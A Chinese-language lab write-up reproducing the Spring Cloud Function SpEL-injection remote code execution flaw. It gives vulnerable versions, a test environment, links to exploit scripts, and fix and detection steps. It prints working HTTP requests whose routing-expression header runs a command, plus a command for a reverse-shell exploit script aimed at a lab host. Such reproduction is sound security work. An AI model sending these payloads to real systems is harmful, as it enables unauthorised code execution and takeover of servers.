Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加"spring.cloud.function.routing-expression"参数并携带SpEL表达式,成功利用此漏洞可实现任意代码执行。
3.0.0.M3 <= Spring Cloud Function <=3.2.2
jdk-15.02
win10或linux(centos7,ubuntu 20.4)
SpringCloud-Function-0.0.1-SNAPSHOT.jar
poc&exp
怕链接失效以上环境均备好放在百度网盘。
链接: Spring Cloud 复现环境
提取码:1234
也可自行下载
jdk15下载地址:
https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html
SpringCloud-Function.jar环境下载:
https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE
POC&EXP下载地址:
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
1、下载一个jdk-15.02的版本,这里可以选择下载Linux x64或Windows x64,下载安装。
2、启动 SpringCloud 环境,访问9000端口。
java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar
1、burp中手动检测。
POST /xxx HTTP/1.1
Host: 192.168.1.133:9000
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
xxx
POST /functionRouter HTTP/1.1
Host: 192.168.1.133:9000
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
rce
2、poc&exp批量检测。
这里我就直接贴图了,因为我复现环境是win10虚拟机没有测试反弹shell了,exp可以自行测试反弹shell。
python Spel_RCE_POC.py url.txt //poc检测
python Spel_RCE_Bash_EXP.py http://192.168.1.133:9000/ 192.168.1.122 1234 //exp反弹shell
目前,Spring Cloud Function官方已针对此漏洞进行修复,但还没有发布正式版本。
建议等待官方发布修复版本或自行下载修复代码进行手动编译。
修复版本地址:
https://github.com/spring-cloud/spring-cloud-function/tree/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
排查方法:
如果程序使用Maven打包,可以通过排查项目的pom.xml文件中是否引入spring-cloud-function相关依赖,确认其版本是否在受影响范围内。